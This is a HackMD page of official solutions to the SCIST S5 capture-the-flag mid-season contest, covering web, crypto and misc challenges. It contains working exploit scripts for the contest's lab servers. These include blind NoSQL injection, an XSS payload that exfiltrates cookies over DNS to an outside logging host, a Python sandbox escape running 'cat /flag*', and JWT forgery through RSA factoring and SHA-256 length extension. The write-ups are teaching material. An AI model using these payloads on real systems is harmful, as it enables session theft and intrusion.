SCIST
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Write
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Help
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Write
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    2
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # SCIST S5 資安季中賽官方解答 > 平台網址:https://mid.ctf.scist.org/ [TOC] ## Welcome ### CATCH THE FLAG! > Author : OsGa ``` 嗨你好我是 OsGa 預祝各位季中賽順利,我和 Fearnot 去打 EOF 了 記得要乖乖不要壞壞ㄡ FLAG 被我放在首頁的一個的地方,快去找找看ㄅ Author : OsGa ⛩️ HINT1. 先從首頁 https://mid.ctf.scist.org/ 開始 ⛩️ HINT2. part2 flag in 🤖🤖🤖 ``` 題就是考一個很簡單的 Web Code Review 先到主頁檢查網頁 ![homepage](https://hackmd.io/_uploads/BJRaOQfqJg.png) 其實他會直接出現在 console ![console](https://hackmd.io/_uploads/BkmgKXGqkx.png) 但你也可以直接從 view source code 篩選出前半段的 FLAG ![welcome_flag_part1](https://hackmd.io/_uploads/rJJbYmz5Jl.png) 後半段的路徑在 `robots.txt` 裡 ![robotstxt](https://hackmd.io/_uploads/SkKZY7zcyg.png) 喔對 路徑是有 base64 過的,但那不是 FLAG ,要自行切到該 page ![urlpage](https://hackmd.io/_uploads/B1NzFmz91x.png) 進到該頁面會看到一顆按鈕,然後跑很快不管怎麼點都點不到,另外 F12 和一些可以開 Devtools 或 Source code 的 hotkey 都被禁掉了。 這是想考怎麼用其他方式 bypass 這些黑名單。 ![part2](https://hackmd.io/_uploads/B1f7FQf5kx.png) 以下是幾個預期解: - 使用瀏覽器自身控制開啟 Devtools ,然後找到按鈕 id ,用 `document.getElementById('flag').click();` 觸發。 ![arcdevtools](https://hackmd.io/_uploads/H1YNtXG91l.png) ![console_click](https://hackmd.io/_uploads/HylzrtQM9Jl.png) - URL 前面加上 `View-Source` 查看網頁原始碼的 script ![viewsource](https://hackmd.io/_uploads/SJASYQMc1g.png) - 用 tab 鍵選取到按鈕並且觸發 ![tab](https://hackmd.io/_uploads/H1FUKXMcyg.png) ## Web ### dig-waf4 > Author : Vincent550102 `exploit.py` ```python= import requests import uuid import string url = "http://localhost:28001/login" flag = "" def to_uni(num): next_uni = "\\u" + hex(mid)[2:].zfill(5) return next_uni while not flag.endswith("}"): lb = 1 rb = 9999 while lb + 1 < rb: mid = (lb + rb) // 2 payload = { "history_id": { "username": "admin", "generated_payload": {"$gt": f"{flag}{to_uni(mid)}"}, } } r = requests.post(url, json=payload) if r.status_code == 200: lb = mid else: rb = mid flag += to_uni(lb) print(flag) print(flag) ``` --- ### no-sql-injection-blind2 > Author : Vincent550102 `exploit.py` ```python= import requests import uuid import string url = "http://localhost:28001/login" flag = "" while not flag.endswith("}"): lb = 1 rb = 65535 + 1 while lb + 1 < rb: mid = (lb + rb) // 2 payload = { "username": "admin", "password": {"$gt": f"{flag}{chr(mid)}"}, } r = requests.post(url, json=payload) if r.status_code == 200: lb = mid else: rb = mid flag += chr(lb) print(flag) print(flag) ``` --- ### xss5 > Author : Vincent550102 `exploit.py` ```python= import requests import re import base64 url = "http://localhost:28002/" # https://dnsl0g.net/ payload = """ <script> let hex = ''; const match = document.cookie; for (let i = 0; i < match.length; i++) { hex += match.charCodeAt(i).toString(16).padStart(2, '0'); } for (let i = 0; i < hex.length; i += 32) { const chunk = hex.slice(i, i + 32); const pc = new RTCPeerConnection({iceServers: [{'urls': `stun:${chunk}.ys7ny7b.q.dnsl0g.net`}]}); pc.createDataChannel('d'); pc.setLocalDescription(); } </script> """ r = requests.post( url, data={ "note": payload }, ) payload_url = 'http://xss5/'+'/'.join(r.url.split('/')[3:]) print(payload_url) requests.post( url + "report", data={ "url": payload_url, }, ) # you will get flag in dns log ``` --- ### Vinci Code online 🛜 > Author : OsGa 因為剛好那陣子有幫 SCIST 寒訓寫一個活動計分版,那時候有研究了下 WebSocket ,想到可以來簡單出一下 這是一個猜數字的網站,只有三次機會,Range 0~10000,就是希望你去找問題不是盲猜w ![game](https://hackmd.io/_uploads/SyxX_Qf9Je.png) 題目有提供兩個後端的 JS ,可以在裡面發現有後門 在 `index.js` 裡可以發現有一個 type 叫 `backdoor` ```js if (data.type === 'guess') { response = room.gameRoom.guess(data.number); } else if (data.type === 'backdoor') { response = room.gameRoom.getSecretAnswer(data.command); } else { response = { status: 'error', message: 'Invalid message type' }; } ``` 到 `gameRoom.js` 可以看到怎麼呼叫他 ```js getSecretAnswer(command) { if (command === 'SHOW_ME_THE_ANSWER_PLZ') { return { status: 'secret', answer: this.answer }; } } return { status: 'error', message: 'Invalid command' }; ``` 兩個預期解: - 透過 `wscat` 發送 `WebSocket` 請求 ![wscat](https://hackmd.io/_uploads/HyySdXMqke.png) - 用 burp 攔截然後改請求,之後直接將答案輸入在網頁上 ![burp](https://hackmd.io/_uploads/rkTBd7z5Jx.png) ![respond](https://hackmd.io/_uploads/Hk-LOQG51g.png) ![ans](https://hackmd.io/_uploads/S178uXf91x.png) ## Crypto > Author : killua4564 ### Elgamal oracle 這題實作了 Elgamal 的加解密,並會提供解密的最後一個位元組 #### `server.py` * 正常的實作加解密流程,其中會將 `(c1, c2)` 包成 `bytes` 型態的 `ciphertext` ```python class ElGamal: def __init__(self, nbit: int = 1024): self.nbyte = nbit // 8 self.p = getPrime(nbit) self.g = self.gen_generator() self.x = randrange(2, self.p - 2) self.y = pow(self.g, self.x, self.p) @property def public_key(self) -> str: return json.dumps({"g": self.g, "y": self.y, "p": self.p}) def encrypt(self, plaintext: bytes) -> bytes: m = bytes_to_long(plaintext) assert 0 < m < self.p k = randrange(2, self.p - 2) c1 = pow(self.g, k, self.p) c2 = m * pow(self.y, k, self.p) % self.p return b"".join( c.to_bytes(self.nbyte, byteorder="big") for c in (c1, c2) ) def decrypt(self, ciphertext: bytes) -> bytes: assert len(ciphertext) == 2 * self.nbyte c1, c2 = tuple( int.from_bytes(ciphertext[idx:idx+self.nbyte], byteorder="big") for idx in range(0, len(ciphertext), self.nbyte) ) m = pow(c1, -self.x, self.p) * c2 % self.p return long_to_bytes(m) ``` * `main` 裡提供對任意密文做解密的方式,但只會給出明文的最後一個 `byte` * 也就是說是 `r = 256` 的 `LSB oracle` ```python ciphertext = bytes.fromhex(input("> Enter ciphertext: ")) print(f"plaintext last byte: {cipher.decrypt(ciphertext)[-1]}") ``` #### `script.py` * 先依照題目包裝 `ciphertext` 的方式撰寫呼叫 `decrypt` 的副程式,並回傳最後一個 `byte` 的數字 ```python def decrypt(c1: int, c2: int) -> int: ciphertext = b"".join(c.to_bytes(128, byteorder="big") for c in (c1, c2)) conn.sendlineafter(b": ", b"decrypt") conn.sendlineafter(b": ", ciphertext.hex().encode()) conn.recvuntil(b": ") return int(conn.recvuntil(b"\n").decode()) ``` * 課堂中,講解 `LSB oracle` 的最後碎碎念中有提到,當 `r > 2` 時的狀況不像 lab 題目那麼單純。 * 因為此題是 `r = 256` 且應用在 `Elgamal` 的情況,以第一次的 `oracle` 來說明,如果滿足 $k * \frac{p}{256} \le m \lt (k + 1)\frac{p}{256}$ 的話,則收到的值應為 * $256 * m \mod{p} \mod{256}$ * $\Rightarrow (256 * m - k * p) \mod{256}$ * $\Rightarrow -k * p \mod{256}$ * 知道回傳值與 `m` 之間的關係,就可以開始進行 `oracle` ```python # 接收 public_key,用 json 的格式去 parse,然後我們只需要 p conn.recvuntil(b": ") p = json.loads(conn.recvuntil(b"\n"))["p"] # 生成回傳值與區間 k 的對應表 p_reverse_mapping = {-k * p % 256: k for k in range(256)} # 接收 enc_flag,並依照題目敘述 parse 成 (c1, c2) conn.recvuntil(b": ") ciphertext = bytes.fromhex(conn.recvuntil(b"\n").decode()) c1, c2 = tuple( int.from_bytes(ciphertext[idx:idx+128], byteorder="big") for idx in range(0, len(ciphertext), 128) ) # 準備開始 oracle l, r = 0, p # 通常我會確保 l 到 r 之間的間隔還足夠繼續 oracle 切分 while r - l > 255: # 對 c2 做同態加密 c2 = 256 * c2 % p # 用對應表找回 m 所在的區間 k = p_reverse_mapping[decrypt(c1, c2)] # 用 r - l 去切分 256 等分為一個區間 # 用原始的 l 加上 k 和 k + 1 個區間去定義新的 l 和 r l, r = l + k * (r - l) // 256, l + (k + 1) * (r - l) // 256 # 把目前的差距顯示出來當作進度條 print(r - l) # 結束後把 l 和 r 都轉成文字看看,一定會有誤差但能辨識得出來即可 print(long_to_bytes(l)) print(long_to_bytes(r)) ``` 夾擠出 flag: `SCIST{I said elgamal can perform homomorphic encryption in class. :)}` --- ### LCG cipher 這題是用 LCG 當作 Cipher 的 keystream 去實現加密 #### `server.py` * 實作 `LCG` 並把每次的 `seed` 轉換成 `bytes` 傳出去 `generator` ```python class LCG(PRNG): def __init__(self, nbit: int = 128): self.nbyte = nbit // 8 self.a = getPrime(nbit // 2) self.c = getPrime(nbit // 2) self.m = getPrime(nbit) self.seed = getPrime(nbit // 2) def next(self) -> typing.Generator[int, None, None]: while True: self.seed = (self.a * self.seed + self.c) % self.m yield from self.seed.to_bytes(self.nbyte, byteorder="big") ``` * `Cipher` 實作用 `PRNG` 做為 `keystream` 來加密,並在初始時複製 `PRNG` 物件以確保外部程式可以重複調用 ```python class Cipher: def __init__(self, rpng: PRNG): self.rpng = copy.copy(rpng) def encrypt(self, plaintext: bytes) -> bytes: return bytes(pt ^ key for pt, key in zip(plaintext, self.rpng.next())) ``` * `main` 裡面提供用相同 `PRNG` 去對任意明文加密的方法,這邊就能算回加密 `flag` 時所遍歷的 `keystream` 結果 ```python plaintext = input("> Enter plaintext: ") print(f"enc: {Cipher(lcg).encrypt(plaintext.encode()).hex()}") ``` #### `script.py` ```python # 接收加密後的 flag 並從 hex-string 轉成 bytes conn.recvuntil(b": ") flag = bytes.fromhex(conn.recvuntil(b"\n").decode()) # 生成與 flag 相同長度的 plaintext 送去加密並接收對應密文 plaintext = b"A" * len(flag) conn.sendlineafter(b": ", b"encrypt") conn.sendlineafter(b": ", plaintext) conn.recvuntil(b": ") enc = bytes.fromhex(conn.recvuntil(b"\n").decode()) # 已知明文與拿到密文,在 stream cipher 中算回對應的 keystream keystream = xor(plaintext, enc) # 拿到 keystream 對 flag 做解密 print(xor(flag, keystream).decode()) ``` 解出 flag: `SCIST{using linear congruential generator to implement a stream cipher}` --- ### RS256 題目實作了類似 [JWT](https://en.wikipedia.org/wiki/JSON_Web_Token) 中 RS256 的生成與驗證 token 的方法,但存在很多漏洞。 #### `server.py` * `RsaKey` 中,模數由三個質數所組成,重點放在質數的生成方式,剩下都是正常組成公鑰和私鑰,正常的簽署和驗證流程 * `get_forward_prime` 會生成一個 `p - 1` 平滑的質數 * `get_backward_prime` 會生成一組 `twin prime` ```python @staticmethod def get_forward_prime() -> int: while True: p = 2 while size(p) < 527: p *= getPrime(randrange(4, 17)) if isPrime(p + 1): return p + 1 @staticmethod def get_backward_prime() -> int: while True: p = getPrime(240) if isPrime(p) and isPrime(p + 2): return p ``` * `JWT256` 是個[抽象類別](https://docs.python.org/3/library/abc.html),定義一些基本的呼叫方法 * `base64encode` 和 `base64decode` 是 JWT 中 `base64` 編碼的變體,可以直接引用就好 * `encode` 和 `decode` 會分別將生成或驗證好 `header`、`body` 和 `signature`,然後回傳 `token` 或 `body` * `header` 由 `alg` 和 `typ` 組成,`alg` 為類別的名字,`typ` 固定為抽象類別名稱 `JWT256`,驗證時會檢查該有的資料是否還在,基本上可以不用理會這邊 * `body` 為傳進來編碼的 `payload` 和 `iat` 組成,驗證時會檢查 `iat` 的時間戳是否在 `exp` 的範圍內 * `signature` 為 `header` 和 `body` 做 `urlencode` 後組起來的 `message`,再串上 `secret` 做 `sha256`,這邊可以實現 `LEA` ```python @classmethod def base64encode(cls, data: bytes) -> str: data = base64.b64encode(data).decode() data = data.replace("+", "-").replace("/", "_") return data.rstrip("=") @classmethod def base64decode(cls, data: str) -> bytes: data = data.replace("-", "+").replace("_", "/") data = data + "=" * (-len(data) % 4) return base64.b64decode(data.encode()) def encode(self, payload: dict[bytes, bytes]) -> str: header = self.generate_header() body = self.generate_body(payload) signature = self.generate_signature(header + b"." + body) return ".".join(self.base64encode(payload) for payload in (header, body, signature)) def decode(self, token: str) -> dict[bytes, list[bytes]]: header, body, signature = tuple(self.base64decode(payload) for payload in token.split(".")) self.verify_header(header) self.verify_body(body) self.verify_signature(header + b"." + body, signature) return parse_qs(body) def generate_body(self, payload: dict[bytes, bytes]) -> bytes: payload[b"iat"] = f"{int(datetime.datetime.now().timestamp())}".encode() return urlencode(payload).encode() def generate_header(self) -> bytes: payload = {b"alg": self.alg, b"typ": self.typ} return urlencode(payload).encode() def generate_signature(self, message: bytes) -> bytes: return hashlib.sha256(self.secret + message).digest() def verify_body(self, body: bytes): issued_at = int(parse_qs(body)[b"iat"][-1].decode()) if datetime.datetime.fromtimestamp(issued_at) + self.exp < datetime.datetime.now(): raise ValueError("Verify body failed.") def verify_header(self, header: bytes): payload = parse_qs(header) if self.alg not in payload[b"alg"] or self.typ not in payload[b"typ"]: raise ValueError("Verify header failed.") def verify_signature(self, message: bytes, signature: bytes): if self.generate_signature(message) != signature: raise ValueError("Verify signature failed.") ``` * `RS256` 為實作 `JWT256` 的一種類別,主要是 `signature` 的部分會經過 `RsaKey` 的簽名與驗證 ```python def generate_signature(self, message: bytes) -> str: return self.key.sign(super().generate_signature(message)) def verify_signature(self, message: bytes, signature: bytes): if not self.key.verify(super().generate_signature(message), signature): raise ValueError("Verify signature failed.") ``` * `main` 這邊提供 `register` 和 `login` 的方法 * `register` 會把輸入的 `username` 加進 `admin` 為 `N` 的 `payload` 裡 `encode` 成 `token` 輸出 * `login` 會依照輸入的 `token` 去 `decode` 出使用者資料,如果 `Y` 在 `admin` 裡就會輸出 flag #### `script.py` 看完原始碼之後,蠻明顯的是要分解 `RsaKey` 的模數去算出私鑰,然後利用 `LEA` 去竄改使用者資料的 `admin`,最後用私鑰去偽造簽章 * 先來分解 `RsaKey` * `p - 1` 平滑可以用 `pollard` 分解出來 * `twin prime` 相乘可以用 `fermat` 或是線性方程分解 * $x^2 + 2x - \frac{n}{p} = 0$ ```python import json import gmpy2 from Crypto.Util.number import GCD, inverse def pollard(n: int) -> int: a, b = 2, 2 while True: a = pow(a, b, n) p = GCD(a - 1, n) if 1 < p < n: return p b += 1 def fermat(n: int) -> tuple[int, int]: a = gmpy2.isqrt(n) + 1 b = a ** 2 - n while not gmpy2.iroot(b, 2)[1]: a += 1 b = a ** 2 - n b = gmpy2.iroot(b, 2)[0] return int(a + b), int(a - b) def main(): conn.recvuntil(b": ") e, n = json.loads(conn.recvuntil(b"\n")).values() p = pollard(n) q1, q2 = fermat(n // p) assert p * q1 * q2 == n d = inverse(e, (p - 1) * (q1 - 1) * (q2 - 1)) ``` * 準備來造 `LEA` 攻擊 function,先從 [source code](https://github.com/killua4564/SHA-family/blob/master/SHA2-256.py) 複製這些下來 ```python # initialize table of round constants k = [ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ] # copy from lambda function of source code def right_rotate(n: int, b: int) -> int: return ((n >> b) | (n << (32 - b))) & 0xffffffff # copy from source code, the part of calculate the chunk data in the for-loop def extend_signature(chunk: bytes, h0: int, h1: int, h2: int, h3: int, h4: int, h5: int, h6: int, h7: int) -> tuple[int, int, int, int, int, int, int, int]: # break chuck into sixteen 32bits big-endian words w = [int.from_bytes(chunk[i:i+4], byteorder="big") for i in range(0, len(chunk), 4)] # extend 16 words to 64 words for i in range(16, 64): s0 = right_rotate(w[i-15], 7) ^ right_rotate(w[i-15], 18) ^ (w[i-15] >> 3) # right_rotate(w[i-15], 3) s1 = right_rotate(w[i-2], 17) ^ right_rotate(w[i-2], 19) ^ (w[i-2] >> 10) # right_rotate(w[i-2], 10) w.append((w[i-16] + s0 + w[i-7] + s1) & 0xffffffff) # initialize hash value for this chunk a = h0 b = h1 c = h2 d = h3 e = h4 f = h5 g = h6 h = h7 # main loop for i in range(64): s0 = right_rotate(a, 2) ^ right_rotate(a, 13) ^ right_rotate(a, 22) s1 = right_rotate(e, 6) ^ right_rotate(e, 11) ^ right_rotate(e, 25) choice = (e & f) ^ (~e & g) majority = (a & b) ^ (a & c) ^ (b & c) temp1 = (h + s1 + choice + k[i] + w[i]) & 0xffffffff temp2 = (s0 + majority) & 0xffffffff a, b, c, d, e, f, g, h = (temp1 + temp2) & 0xffffffff, a, b, c, (d + temp1) & 0xffffffff, e, f, g # add this chunk's hash to result so far h0 = (h0 + a) & 0xffffffff h1 = (h1 + b) & 0xffffffff h2 = (h2 + c) & 0xffffffff h3 = (h3 + d) & 0xffffffff h4 = (h4 + e) & 0xffffffff h5 = (h5 + f) & 0xffffffff h6 = (h6 + g) & 0xffffffff h7 = (h7 + h) & 0xffffffff return (h0, h1, h2, h3, h4, h5, h6, h7) ``` * 然後依照 `digest` 的打包方式做解壓後調用 `extend_signature` function ```python def length_extension_attack(digest: bytes, append_message: bytes) -> bytes: # reverse the final digest value h0, h1, h2, h3, h4, h5, h6, h7 = [int.from_bytes(digest[i:i+4], byteorder="big") for i in range(0, len(digest), 4)] # append the message and calculate the digest of chunk data for i in range(0, len(append_message), 64): h0, h1, h2, h3, h4, h5, h6, h7 = extend_signature(append_message[i:i+64], h0, h1, h2, h3, h4, h5, h6, h7) # produce the final digest value return b"".join(map(lambda x: x.to_bytes(4, byteorder="big"), (h0, h1, h2, h3, h4, h5, h6, h7))) ``` * 接下來構想 `LEA` 的資料,這邊 `secret` 的長度為 `randrange(37, 43)` 是個困擾點,而且 `login` 中如果驗證失敗會直接跳到最外面的 `Login failed.`,也就是說每個連線只能嘗試偽造登入一次...,~~那就多嘗試幾次不就好了XDD~~ * 假設 `secret` 長度為 `39`,然後 `username` 輸入 `AAA` * 所以原本拿到的 `signature` 是由這些資料算出來的 ```python secret + "alg=RS256&typ=JWT256" + "." + "username=AAA&admin=N&iat=1733755623" + "\x80" + "\x00" * 24 + L(95) ``` * 加上要擴充的資料後,新的 `signature` 應該要由這些資料算出來 * 這邊要注意的是,需要把 `iat` 的數值複製一份到擴充資料裡,不然原本的解析出來後會解析失敗 ```python secret + "alg=RS256&typ=JWT256" + "." + "username=AAA&admin=N&iat=1733755623" + "\x80" + "\x00" * 24 + L(95) + "&admin=Y&iat=1733755623" + "\x80" + "\x00" * 32 + L(151) ``` * 需要放入 `body` 的擴充資料為 ```python "\x80" + "\x00" * 24 + L(95) + "&admin=Y&iat=1733755623" ``` * 需要放入 `LEA` 的擴充資料為 ```python "&admin=Y&iat=1733755623" + "\x80" + "\x00" * 32 + L(151) ``` ```python # 在同目錄下存成 server.py 即可調用 from Crypto.Util.number import bytes_to_long, long_to_bytes from server import JWT256 # L function of the demo in class def length(n: int) -> bytes: return (8 * n).to_bytes(8, byteorder="big") def main(): # 上面分解 RsaKey 的腳本放這邊 # 呼叫 register 拿到 token conn.sendlineafter(b": ", b"register") conn.sendlineafter(b": ", b"AAA") conn.recvuntil(b": ") token = conn.recvuntil(b"\n").strip(b"\n").decode() # 拆成 urlencoded 的資料,並把 signature 算回 sha256 的 digest header, body, signature = tuple(JWT256.base64decode(payload) for payload in token.split(".")) signature = long_to_bytes(pow(bytes_to_long(signature), e, n)) # 依照上面的擴充資料生成新的 body 和 signature,body[-10:] 為 iat new_body = body + b"\x80" + b"\x00" * 24 + length(95) + b"&admin=Y&iat=" + body[-10:] new_signature = length_extension_attack(signature, b"&admin=Y&iat=" + body[-10:] + b"\x80" + b"\x00" * 32 + length(151)) # 用算出來的私鑰做成 RSA 的簽章後包裝成新的 token new_signature = long_to_bytes(pow(bytes_to_long(new_signature), d, n)) new_token = ".".join(JWT256.base64encode(payload) for payload in (header, new_body, new_signature)) # 嘗試使用偽造的 token 登入,如果出現 Hi AAA 表示偽造成功,則輸出 flag conn.sendlineafter(b": ", b"login") conn.sendlineafter(b": ", new_token.encode()) if conn.recvuntil(b"\n").startswith(b"Hi"): conn.recvuntil(b": ") print(conn.recvuntil(b"\n").decode()) ``` * 執行腳本每次有 $\frac{1}{5}$ 的機率拿到 flag: `SCIST{It's a bad practice to implement RS256 of JWT.}` ## Misc ### Colorful > Author : Kazma 1. 透過 `file` 發現題目檔案為 data 2. 將檔案的 header 修復後得到 colorful.png 為一張彩色 QRcode 3. 將 QRcode 拆成 RGB 三個圖層或是透過工具 ChromaQR 用指令解碼 4. base64 decode 密文得到 flag ### Trick or Treat > Author : killua4564 遊戲規則是要從眾多箱子裡拿到所有的最後一顆糖果,兩個人輪流,一次只能從其中一個箱子裡拿一顆或數顆糖果。此為[尼姆遊戲](https://en.wikipedia.org/wiki/Nim),策略是要計算用每個箱子的糖果數量計算尼姆數,也就是 `xor` 運算(萬聖節為上課在講 `xor` 時有出現南瓜圖片的提示),讓自己拿完糖果後的尼姆數為 `0` 可以保持優勢,故制定策略如下。 ```python def strategy(candies: list[int]) -> tuple[int, int]: # 計算目前狀態的尼姆數 target = functools.reduce(lambda x, y: x ^ y, candies) if target == 0: raise ValueError("No solution.") # 嘗試哪一個箱子可以透過拿取糖果讓尼姆數為 0 for idx, candy in enumerate(candies, 1): result = candy - (candy ^ target) if result > 0: return idx, result raise ValueError("Strategy implements wrong.") ``` 最後依照題目樣子撰寫對應的腳本即有機會通關,因為有可能題目初始尼姆數即為 `0`。 ```python for _ in range(100): # 獲取題目初始訊息 conn.recvuntil(b"contains") candies = list(map(int, conn.recvuntil(b"candy.").strip(b"candy.").strip().split(b", "))) # 持續遊玩直到全部糖果為 0 while sum(candies) > 0: # 用制定好的策略去進行我的回合 n, k = strategy(candies) conn.sendlineafter(b": ", f"({n}, {k})".encode()) conn.recvuntil(b"\n") candies[n - 1] -= k # 接收對方回合的訊息,有可能為任務成功 data = conn.recvuntil(b"\n").strip(b".\n") if data != b"Mission succeeded": data = data.split(b" ") candies[int(data[-1]) - 1] -= int(data[3]) # 拿到通關的 flag print(conn.recvuntil(b"\n").decode()) ``` 成功拿到 flag: `SCIST{trick-or-treat? trick-xor-treat!}` ### dateview > Author : Vincent550102 `exploit.py` ```python= import sys payload = f"datetime.sys.modules['os'].system('cat /flag*')" print(payload) # python exploit.py | nc localhost 28003 ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully